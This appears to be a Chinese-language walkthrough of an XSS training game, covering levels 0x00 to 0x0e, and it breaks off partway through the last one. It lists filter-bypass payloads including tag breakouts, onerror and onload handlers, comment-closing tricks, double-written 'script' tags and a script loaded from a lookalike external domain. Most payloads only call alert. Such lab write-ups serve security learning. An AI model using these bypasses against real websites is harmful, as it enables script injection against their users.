0x00
<script>alert(123)</script>
0x01
闭合文本标签</textarea><script>alert(123)</script><textarea>
0x02
return '<input type="name" value="' + input + '">'
闭合后面的">
123"><script>alert(1)</script>
0x03
/[()]/g
/g 全文查找出现的所有匹配字符 即查找[()]input = input.replace(stripBracketsRe, '')
将查找出来的替换为 空
使用onerror事件: 参考:http://www.w3school.com.cn/jsref/event_onerror.asp
也可以不加javascript
0x04
const stripBracketsRe = /[()`]/g
增加了单引号过滤,同样可以用onerror事件
0x05
1 | function render (input) { |
将-->
过滤了,还需要绕过闭合-->
在html中标签是弱类型使用–!>同样也可以闭合注释
--!><script>alert(1)</script>
0x06
1 | function render (input) { |
忽略大小写全局匹配:auto或者是on=或者>
更改type类型为img 继续使用onerror事件1
2
3type="image" src="xxx" onerror
="alert(1)"
0x07
1 | function render (input) { |
使用body的onload事件
onload 通常使用于
0x08
1 | function render (src) { |
不能输入</style>
但可以输入</style/>
0x09
1 | function render (input) { |
匹配网址,可以调用js文件https://www.segmentfault.com.haozi.me/j.js
0x0A
1 | function render (input) { |
过滤了 /
但是没什么用https://www.segmentfault.com.haozi.me/j.js
0x0B
1 | function render (input) { |
toUpperCase() 方法将字符串小写字符转换为大写。
利用src加载一个外部js文件12</h1><script src="https://www.segmentfault.com.haozi.me/j.js">alert(1)</script>4567
0x0c
1 | function render (input) { |
将script替换为空,双写绕过即可</h1><scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js">alert(1)</scrscriptipt>
0x0D
1 | function render (input) { |
//
是单行注释 回车即可绕过1
2
3alert(1)
-->
0x0e
1 | function render (input) { |
将<后面的所有字符前全部加_,也就是将